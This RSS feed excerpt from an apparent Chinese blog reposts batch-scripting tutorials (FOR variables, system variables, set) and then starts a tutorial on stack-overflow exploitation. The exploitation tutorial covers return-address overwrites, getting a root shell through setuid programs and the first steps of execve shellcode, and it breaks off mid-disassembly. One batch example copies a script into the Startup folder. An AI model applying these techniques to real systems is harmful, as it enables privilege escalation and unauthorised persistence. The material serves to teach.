小鸡鸡，不怕不怕</p>
<p>&nbsp;&nbsp;  <br>
级别: 总版主</p>
<p><br>
配偶: 单身<br>
精华: 12<br>
发帖: 189<br>
魅力值: 19 ml<br>
精英币: 1870 jyb<br>
贡献值: 10 gx<br>
好评度: 250 点<br>
在线时间:7(小时)<br>
注册时间:2008-03-24<br>
最后登录:2008-10-21 小 中 大&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
<br>
第三节(FOR命令中的变量)</p>
<p>FOR命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法!</p>
<p><br>
先把FOR的变量全部列出来:<br>
~I&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 删除任何引号(&quot;)，扩展 %I<br>
%~fI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到一个完全合格的路径名<br>
%~dI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个驱动器号<br>
%~pI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个路径<br>
%~nI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个文件名<br>
%~xI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个文件扩展名<br>
%~sI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 扩展的路径只含有短名<br>
%~aI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的文件属性<br>
%~tI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的日期/时间<br>
%~zI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的大小<br>
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩展<br>
到找到的第一个完全合格的名称。如果环境变量名<br>
未被定义，或者没有找到文件，此组合键会扩展到<br>
空字符串</p>
<p><br>
我们可以看到每行都有一个大写字母&quot;I&quot;,这个I其实就是我们在FOR带入的变量,我们FOR语句代入的变量名是什么,这里就写什么.<br>
比如:FOR /F %%z IN ('set') DO @echo %%z<br>
这里我们代入的变量名是z那么我们就要把那个I改成z,例如%~fI改为%~fz<br>
至于前面的%~p这样的内容就是语法了!</p>
<p>~I&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 删除任何引号(&quot;)，扩展 %I<br>
这个变量的作用就如他的说明,删除引号!<br>
我们来看这个例子:</p>
<p>首先我们在桌面建立一个名字为temp.txt文本文件,在里面输入这些内容<br>
&quot;1111<br>
2222&quot;<br>
&quot;3333&quot;<br>
44&quot;44<br>
然后在建立个BAT文件代码如下:</p>
<p>FOR /F &quot;delims=&quot; %%i IN (temp.txt) DO @echo %%~i<br>
pause</p>
<p>执行后,我们看CMD的回显如下:<br>
1111<br>
2222&quot;<br>
3333<br>
44&quot;44<br>
和之前temp.txt中的内容对比一下,我们会发现第一行和第三行的引号都消失了,这就是删除引号~i的作用了!<br>
删除引号规则如下(BAT兄补充!)<br>
1、若字符串首尾同时存在引号，则删除首尾的引号；<br>
2、若字符串尾不存在引号，则删除字符串首的引号；<br>
3、如果字符串中间存在引号，或者只在尾部存在引号，则不删除。</p>
<p>%~fI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到一个完全合格的路径名<br>
看例子:<br>
把代码保存放在随便哪个地方,我这里就放桌面吧.<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~fi<br>
pause</p>
<p>执行后显示内容如下<br>
C:\Documents and Settings\Administrator\桌面\test.bat<br>
C:\Documents and Settings\Administrator\桌面\test.vbs<br>
当我把代码中的 %%~fi直接改成%%i<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%i<br>
pause</p>
<p>执行后就会显示这些内容<br>
test.bat<br>
test.vbs</p>
<p>通过对比,我们很容易就看出没有路径了,这就是&quot;将 %I 扩展到一个完全合格的路径名&quot;的作用<br>
也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单<br>
单打印一个文件名,自己动手动实验下就知道了!</p>
<p>%~dI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个驱动器号<br>
看例子:<br>
代码如下,我还是放到桌面执行!<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~di<br>
pause<br>
执行后我CMD里显示如下<br>
C:<br>
C:<br>
我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件<br>
或者目录所在的盘符号打印出来!</p>
<p><br>
%~pI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个路径<br>
这个用法和上面一样,他只打印路径不打印文件名字<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~pi<br>
pause</p>
<p>我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!</p>
<p><br>
%~nI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个文件名<br>
只打印文件名字<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~ni<br>
pause</p>
<p><br>
%~xI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 仅将 %I 扩展到一个文件扩展名<br>
只打印文件的扩展名<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~xi<br>
pause</p>
<p><br>
%~sI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 扩展的路径只含有短名<br>
打印绝对短文件名<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~si<br>
pause</p>
<p><br>
%~aI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的文件属性<br>
打印文件的属性<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~ai<br>
pause</p>
<p><br>
%~tI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的日期/时间<br>
打印文件建立的日期<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~ti<br>
pause</p>
<p><br>
%~zI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 将 %I 扩展到文件的大小<br>
打印文件的大小<br>
FOR /F &quot;delims==&quot; %%i IN ('dir /b') DO @echo %%~zi<br>
pause</p>
<p><br>
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩展<br>
到找到的第一个完全合格的名称。如果环境变量名<br>
未被定义，或者没有找到文件，此组合键会扩展到<br>
空字符串<br>
这是最后一个,和上面那些都不一样,我单独说说!</p>
<p><br>
然后在把这些代码保存为批处理,放在桌面.<br>
FOR /F &quot;delims==&quot; %%i IN ('net.exe') DO @echo %%~$PATH:i<br>
pause</p>
<p>他的意思就在PATH变量里指定的路径里搜索net,exe文件，如果有net.exe则会把他所在绝对路径打印出来，没有就打印一个错误！</p>
<p>好了,FOR的的变量就介绍到这了!<br>
BY 伤脑筋</p>
<p> </p>
<p>Posted: 2008-04-15 14:38 | 2 楼</p>
<p>skyxiaodi<br>
小鸡鸡，不怕不怕</p>
<p>&nbsp;&nbsp;  <br>
级别: 总版主</p>
<p><br>
配偶: 单身<br>
精华: 12<br>
发帖: 189<br>
魅力值: 19 ml<br>
精英币: 1870 jyb<br>
贡献值: 10 gx<br>
好评度: 250 点<br>
在线时间:7(小时)<br>
注册时间:2008-03-24<br>
最后登录:2008-10-21 小 中 大&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
<br>
第四节(批处理中的变量)</p>
<p>批处理中的变量,我把他分为两类,分别为&quot;系统变量&quot;和&quot;自定义变量&quot;</p>
<p>我们现在来详解这两个变量!</p>
<p><br>
系统变量:</p>
<p>他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值,<br>
不需要我们来给他赋值,我们只需要调用而以! 我把他们全部列出来!</p>
<p><br>
%ALLUSERSPROFILE% 本地 返回&ldquo;所有用户&rdquo;配置文件的位置。 <br>
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 <br>
%CD% 本地 返回当前目录字符串。 <br>
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 <br>
%CMDEXTVERSION% 系统 返回当前的&ldquo;命令处理程序扩展&rdquo;的版本号。 <br>
%COMPUTERNAME% 系统 返回计算机的名称。 <br>
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。 <br>
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关</p>
<p>date 命令的详细信息，请参阅 Date。 <br>
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。 <br>
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用</p>
<p>户主目录是在&ldquo;本地用户和组&rdquo;中指定的。 <br>
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在&ldquo;本</p>
<p>地用户和组&rdquo;中指定的。 <br>
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是</p>
<p>在&ldquo;本地用户和组&rdquo;中指定的。 <br>
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。 <br>
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。 <br>
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 <br>
%PATH% 系统 指定可执行文件的搜索路径。 <br>
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 <br>
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值：x86 或 IA64 基于</p>
<p>Itanium <br>
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 <br>
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。 <br>
%PROCESSOR_REVISION% 系统 返回处理器的版本号。 <br>
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 <br>
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 <br>
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录（即系统根目录）</p>
<p>的驱动器。 <br>
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。 <br>
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。</p>
<p>有些应用程序需要 TEMP，而其他应用程序则需要 TMP。 <br>
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关</p>
<p>time 命令的详细信息，请参阅 Time。 <br>
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 <br>
%USERNAME% 本地 返回当前登录的用户的名称。 <br>
%USERPROFILE% 本地 返回当前用户的配置文件的位置。 <br>
%WINDIR% 系统 返回操作系统目录的位置。</p>
<p><br>
这么多系统变量,我们如何知道他的值是什么呢?<br>
在CMD里输入 echo %WINDIR%<br>
windir变量名,不是随便乱输的!<br>
这样就能显示一个变量的值了!</p>
<p>举个实际例子,比如我们要复制文件到当前帐号的启动目录里就可以这样</p>
<p>copy d:\1.bat &quot;%USERPROFILE%\「开始」菜单\程序\启动\&quot;</p>
<p>%USERNAME% 本地 返回当前登录的用户的名称。 注意有空格的目录要用引号引起来</p>
<p><br>
另外还有一些系统变量,他们是代表一个意思,或者一个操作!</p>
<p>他们分别是%0 %1 %2 %3 %4 %5 ......一直到%9 还有一个%*</p>
<p>%0 这个有点特殊,有几层意思,先讲%1-%9的意思.</p>
<p>%1 返回批处理的第一个参数<br>
%2 返回批处理的第二个参数<br>
%3-%9依此推类</p>
<p>反回批处理参数?到底怎么个返回法?</p>
<p>我们看这个例子,把下面的代码保存为test.BAT然后放到C盘下</p>
<p>@echo off<br>
echo %1 %2 %3 %4<br>
echo %1<br>
echo %2<br>
echo %3<br>
echo %4</p>
<p>进入CMD,输入cd c:\<br>
然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数</p>
<p>注意中间的空额,我们会看到这样的结果:</p>
<p>我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数<br>
我是第一个参数<br>
我是第二个参数<br>
我是第三个参数<br>
我是第四个参数</p>
<p>对比下代码,%1就是我是第一个参数 %2就是我是第二个参数<br>
怎么样理解了吧!</p>
<p><br>
这些%1和%9可以让批处理也能带参数运行,大大提高批处理功能!</p>
<p>还有一个%* 他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数</p>
<p>的值,不用在输入%1 %2来确定一个个的</p>
<p><br>
例子<br>
@echo off<br>
echo %*</p>
<p>同样保存为test.bat 放到C盘<br>
进入CMD,输入cd c:\<br>
然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数</p>
<p>可以看到他一次把全部参数都显示出来了</p>
<p><br>
好现在开始讲那个比较特殊的%0</p>
<p><br>
%0 这个不是返回参数的值了,他有两层意思!</p>
<p>第一层意思:返回批处理所在绝对路径</p>
<p>例子: <br>
@echo off<br>
echo %0<br>
pause</p>
<p>保存为test.BAT放在桌面运行,会显示如下结果<br>
&quot;C:\Documents and Settings\Administrator\桌面\test.bat&quot;</p>
<p>他把当前批处理执行的所在路经打印出来了,这就是返回批处理所在绝对路径的意思</p>
<p>第二层意思:无限循环执行BAT</p>
<p>例子:<br>
@echo off<br>
net user<br>
%0</p>
<p>保存为BAT执行,他就会无限循环执行net user这条命令,直到你手动停止.</p>
<p>以上就是批处理中的一些系统变量,另外还有一些变量,他们也表示一些功能,<br>
FOR命令中的那些就是,FOR变量已经说过,就不讲了.</p>
<p><br>
现在说自定义变量</p>
<p>故名思意,自定义变量就是由我们来给他赋予值的变量</p>
<p>要使用自定义变量就得使用set命令了,看例子.</p>
<p>@echo off<br>
set var=我是值<br>
echo %var%<br>
pause</p>
<p>保存为BAT执行,我们会看到CMD里返回一个 &quot;我是值&quot;</p>
<p>var为变量名,=号右变的是要给变量的值<br>
这就是最简单的一种设置变量的方法了</p>
<p>如果我们想让用户手工输入变量的值,而不是在代码里指定,可以用用set命令的/p参数</p>
<p>例子:</p>
<p>@echo off<br>
set /p var=请输入变量的值<br>
echo %var%<br>
pause</p>
<p>var变量名 =号右边的是提示语,不是变量的值<br>
变量的值由我们运行后自己用键盘输入!</p>
<p><br>
好了批处理的变量先介绍到这,关于set命令,下次在写个专门的文章吧.<br>
by 伤脑筋</p>
<p> </p>
<p>Posted: 2008-04-15 14:40 | 3 楼</p>
<p>skyxiaodi<br>
小鸡鸡，不怕不怕</p>
<p>&nbsp;&nbsp;  <br>
级别: 总版主</p>
<p><br>
配偶: 单身<br>
精华: 12<br>
发帖: 189<br>
魅力值: 19 ml<br>
精英币: 1870 jyb<br>
贡献值: 10 gx<br>
好评度: 250 点<br>
在线时间:7(小时)<br>
注册时间:2008-03-24<br>
最后登录:2008-10-21 小 中 大&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
<br>
第五节(set命令详解)</p>
<p>很久没发贴了,今天来写点讲BAT的新手教学贴!</p>
<p>在上一贴中我简单的介绍了一下SET设置自定义变量的作用,现在我来具体讲一下set的其他功</p>
<p>能.</p>
<p>先回顾一下他设置自定义变量的用法</p>
<p>例子:<br>
@echo off<br>
set var=我是值<br>
echo %var%<br>
pause</p>
<p>请看 set var=我是值 ,这就是BAT直接在批处理中设置变量的方法!<br>
set 是命令 var是变量名 =号右边的&quot;我是值&quot;是变量的值<br>
在批处理中我们要引用这个变就把var变量名用两个%(百分号)扩起来,如%var%</p>
<p><br>
这种SET语法只能直接在BAT代码的提前赋予变量的值,有时候我们需要提供一个交互界面,让<br>
用户自己输入变量的值,然后我们在来根据这个值来做相应操作,现在我就来说说这SET的这<br>
种语法,只需要加一个&quot;/P&quot;参数就可以了!</p>
<p>例子:<br>
@echo off<br>
set /p var=请输入变量的值: <br>
if %var% == 1 echo 您输入了 1 ~_~ <br>
pause</p>
<p>set /p 是命令语法 var是变量名&nbsp;&nbsp;&nbsp;  =号右边的&quot;请输入变量的值: &quot;,这个是提示语,不是变</p>
<p>量的值了!<br>
运行后,我们在提示语后面直接输入1,就会显示一行您输入了 1 ~_~ ,输入别的就没有任何反</p>
<p>映!</p>
<p>好了,先回顾到这,现在讲SET其他功能</p>
<p>使用set /?查看SET的帮助我们发现SET除了我上面讲的<br>
SET [variable=[string]]<br>
SET /P variable=[promptString]<br>
这两种语法外,还有如下几种语法:<br>
SET /A expression<br>
环境变量替换已如下增强:<br>
%PATH:str1=str2%<br>
%PATH:~10,5%<br>
%PATH:~-10%<br>
%PATH:~0,-2%</p>
<p>这机种语法有什么用处呢?现在我们来一个个讲解他们!</p>
<p>SET /A expression <br>
/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式<br>
评估器很简单并以递减的优先权顺序支持下列操作:<br>
()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 分组<br>
! ~ -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 一元运算符<br>
* / %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 算数运算符<br>
+ -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 算数运算符<br>
&lt;&lt; &gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 逻辑移位<br>
&amp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 按位&ldquo;与&rdquo;<br>
^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 按位&ldquo;异&rdquo;<br>
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 按位&ldquo;或&rdquo;<br>
= *= /= %= += -=&nbsp;&nbsp;&nbsp;  - 赋值<br>
&amp;= ^= |= &lt;&lt;= &gt;&gt;=<br>
,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 表达式分隔符</p>
<p><br>
上面这些是系统帮助里的内容,看着是不是有点晕,没关系我来简单解释一下:<br>
set的/A参数就是让SET可以支持数学符号进行加减等一些数学运算!</p>
<p>现在开始举例子介绍这些数学符号的用法:<br>
看例子 这里的例子请直接在CMD下拷贝命令运行,不需要保存为BAT!<br>
set /a var=1 + 1 <br>
set /a 语法, var变量名 1 + 1 数学式子</p>
<p>拷贝运行后会直接显示一个2,或者运行完后我们输入echo %var%,也是二,这就是<br>
一个简单的加法运算!</p>
<p>set /a var=2 - 1 结果是多少呢?如果你看不到结果就echo %var%.....<br>
set /a var=2 * 2 乘法运算<br>
set /a var=2 / 2 除法运算<br>
set /a var=(1+1) + (1+1) 结果等于4 看得懂吧!<br>
set /a a=1+1,b=2+1,c=3+1 运行后会显示一个4,但我们用<br>
echo %a% %b% %c%后看结果,会发现其他数学运算也有效果!,这就是&quot;斗&quot;号的<br>
作用!<br>
有时候我们需要直接在原变量进行加减操作就可以用这种语法<br>
set /a var+=1 这样的语法对应原始语法就是set /a var = %var% + 1<br>
都是一样的结果,在原变量的值上在进行数学运算,不过这样写简单一点<br>
在来一个: <br>
set /a var*=2 <br>
其他都这么用,只要帮助里有这个语法!</p>
<p>另外还有一些用逻辑或取余操作符,这些符号,按照上面的使用方法会报错的</p>
<p>比如我们在CMD里输入set /a var=1 &amp; 1 &quot;与运算&quot;,他并不会显示为1,而是报错,<br>
为什么?对于这样的&quot;逻辑或取余操作符&quot;,我们需要把他们用双引号引起来,看例子</p>
<p>set /a var= 1 &quot;&amp;&quot; 1 这样结果就显示出来了,其他逻辑或取余操作符用法<br>
set /a var= 1 &quot;+&quot; 1 异运算<br>
set /a var= 1 &quot;%&quot; 1 取模运算<br>
set /a var= 2 &quot;&lt;&lt;&quot; 2 次方运算<br>
set /a var= 4 &quot;&gt;&gt;&quot; 2 这个不太记得数学里的叫法....<br>
还有几个数学不太行,搞不清楚了....不列出来了,<br>
这些符号也可以用&amp;= ^= |= &lt;&lt;= &gt;&gt;= 这样的简单用法如<br>
set /a var&quot;&amp;=&quot; 1 等于set /a var = %var% &quot;&amp;&quot; 1 注意引号</p>
<p>好符号说到这,现在说%PATH:str1=str2%<br>
这个是替换变量值的内容,看例子<br>
@echo off<br>
set a= bbs.verybat.cn<br>
echo 替换前的值: &quot;%a%&quot;<br>
set var=%a: =%<br>
echo 替换后的值: &quot;%var%&quot;<br>
pause</p>
<p>对比一下,我们发现他把变量%a%的空格给替换掉了,从这个例子,我们就可以发现<br>
%PATH:str1=str2%这个操作就是把变量%PATH%的里的str1全部用str2替换</p>
<p>比如我们把上面的例子改成这样<br>
@echo off<br>
set a=bbs.verybat.cn<br>
echo 替换前的值: &quot;%a%&quot;<br>
set var=%a:.=伤脑筋%<br>
echo 替换后的值: &quot;%var%&quot;<br>
pause</p>
<p>解释set var=%a:.=伤脑筋%<br>
set命令 var变量名 字a是要进行字符替换的变量的值,&quot;.&quot;为要替换的值,<br>
&quot;伤脑筋&quot;为替换后的值!<br>
执行后就会把变量%a%里面的&quot;.&quot;全部替换为&quot;伤脑筋&quot;<br>
这就是set的替换字符的很好的功能!先讲到这</p>
<p>%PATH:~10,5% 这个什么意思,看例子:</p>
<p>@echo off<br>
set a=bbs.verybat.cn<br>
set var=%a:~1,2%<br>
echo %var%<br>
pause</p>
<p>执行后,我们会发现只显示了&quot;bs&quot;两个字母,我们的变量%a%的值不是为bbs.verybat.cn吗<br>
怎么只显示了第2个字母和第3个字母&quot;bs&quot;,分析一结果我们就可以很容易看出<br>
%PATH:~10,5%就是显示变量PATH里指定几位的值!<br>
分析set var=%a:~1,2%<br>
set命令 var变量值 a要进行字符操作的变量 &quot;1&quot;从变量&quot;a&quot;第几位开始显示 &quot;2&quot;显示几位<br>
和起来就是把变量a的值从第一位开始,把后两位赋予给变量var<br>
就样因该明白了吧~</p>
<p>其他两种语法<br>
%PATH:~-10%<br>
%PATH:~0,-2%<br>
他们也是显示指定变量指定几位的值得的意思</p>
<p>%PATH:~-10% 例子</p>
<p>@echo off<br>
set a=bbs.verybat.cn<br>
set var=%a:~-3%<br>
echo %var%<br>
pause<br>
这个就是把变量a倒数3位的值给变量VAR</p>
<p>当然我们也可以改成这样<br>
@echo off<br>
set a=bbs.verybat.cn<br>
set var=%a:~3%<br>
echo %var%<br>
pause</p>
<p>这个就是把变量a的从第3位开始后面全部的值给变量VAR</p>
<p>%PATH:~0,-2% 例子</p>
<p>@echo off<br>
set a=bbs.verybat.cn<br>
set var=%a:~0,-3%<br>
echo %var%<br>
pause<br>
执行后,我们发现显示的是&quot;bbs.verybat&quot;,少了&quot;.cn&quot;<br>
从结果分析,很容易分析出,这是把变量a的值从0位开始,<br>
到倒数第三位之间的值全部赋予给var</p>
<p>如果改成这样</p>
<p>@echo off<br>
set a=bbs.verybat.cn<br>
set var=%a:~2,-3%<br>
echo %var%<br>
pause<br>
那么他就是显示从第2位开始减去倒数三位字符的值,并赋予给变量var</p> <a href="http://hi.baidu.com/csuwqz/blog/item/6212aafe101b3d3b5d600854.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%B5%A5%C6%AC%BB%FA%2C%D3%EF%D1%D4">单片机,语言</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/6212aafe101b3d3b5d600854.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-30  10:44</pubDate>
        <category><![CDATA[单片机,语言]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/6212aafe101b3d3b5d600854.html</guid>
</item>

<item>
        <title><![CDATA[溢出原理详解]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/92b31c4e06655003b2de054b.html]]></link>
        <description><![CDATA[
		
		<p>备注：此处说讲的溢出主要针对堆栈溢出的攻击实现。<br>
　　<br>
　　一：基础知识<br>
　　计算机内存运行分配的区域分为3个<br>
　　程序段区域：不允许写的<br>
　　数据段区域：静态全局变量是位于数据段并且在程序开始运行的时候被加载<br>
　　堆栈区域：放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的操作push＝ESP－4，出栈的操作是pop=ESP+4.<br>
　　<br>
　　在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 <br>
　　在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c）。在参数入栈的时候，是：先压c，再压b,最后a.在取参数的时候，<br>
　　指令执行的图例：<br>
　　指令区域<br>
　　执行程序区<br>
　　0 1 2 3<br>
　　0 <br>
　　4 <br>
　　8 调用100处的函数，参数1（3位），2（10位）<br>
　　C <br>
　　10 <br>
　　<br>
　　0 1 2 3<br>
　　100 执行处理<br>
　　104 <br>
　　108 <br>
　　10C <br>
　　110 返回调用<br>
　　<br>
　　堆栈区域<br>
　　0 1 2 3<br>
　　如果EBP分配的空间不够操作就是产生溢出的地方<br>
　　200 保存以前的EBP4位（数据段的指针，用于可以使用局部动态<br>
　　变量）现在的EBP等于当前的ESP-动态数据的大小值 ，<br>
　　ESP=200<br>
　　204 0C 00 00 00<br>
　　此处是程序的返回地址<br>
　　208 参数1，填充1位<br>
　　20C 参数2填充2位<br>
　　210 <br>
　　<br>
　　<br>
　　讲解例子WIN下的程序DEMO，演示参数导致的返回地址的变化<br>
　　讲清主要4位的填充问题 <br>
　　另外溢出还会导致数据段的改变<br>
　　<br>
　　3：如何利用堆栈溢出 <br>
　　原理可以概括为：由于字符串处理函数（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。 在DEMO的例子中，这导致CPU去访问一个不存在的指令，结果出错。事实上，我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。 <br>
　　<br>
　　那么有什么用呢，就算使得我们的程序可以跳转执行一些代码，如何用他来突破系统限制来获得权限呢？<br>
　　<br>
　　二：系统权限知识<br>
　　UNIX系统在运行的时候的权限检查主要是根据UID，GID，SID 三个标来检查的，主要根据SID来检查权限<br>
　　SU系统调用就是SID变成SU的对象<br>
　　S粘贴位使得运行程序的人具有该程序拥有者一样的权限<br>
　　中断ROOT的S粘贴位的程序就可以获得超级用户的权限，SID位置没被调用返回修改回来。<br>
　　VI的S粘贴位可以中断的例子<br>
　　<br>
　　在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。 <br>
　　<br>
　　三：溢出突破权限的实现<br>
　　首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入：<br>
　　shellcode的C程序<br>
　　<br>
　　注意：execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv（argv[n-1]=0）的指针数组作为第二个参数，以及(char*) 0作为第三个参数。 <br>
　　我们来看以看execve的汇编代码： <br>
　　0x804ce7c &lt;__execve&gt;: push %ebp &lsquo;保存以前的数据段地址<br>
　　0x804ce7d &lt;__execve+1&gt;: mov %esp,%ebp &lsquo;使得当前数据段指向堆栈<br>
　　0x804ce7f &lt;__execve+3&gt;: push %edi <br>
　　0x804ce80 &lt;__execve+4&gt;: push %ebx &lsquo;保存<br>
　　0x804ce81 &lt;__execve+5&gt;: mov 0x8(%ebp),%edi &lsquo;ebp+8是第一个参数&quot;/bin/sh\0&quot; <br>
　　0x804ce84 &lt;__execve+8&gt;: mov $0x0,%eax &lsquo;清0<br>
　　0x804ce89 &lt;__execve+13&gt;: test %eax,%eax<br>
　　0x804ce8b &lt;__execve+15&gt;: je 0x804ce92 &lt;__execve+22&gt;<br>
　　0x804ce8d &lt;__execve+17&gt;: call 0x0<br>
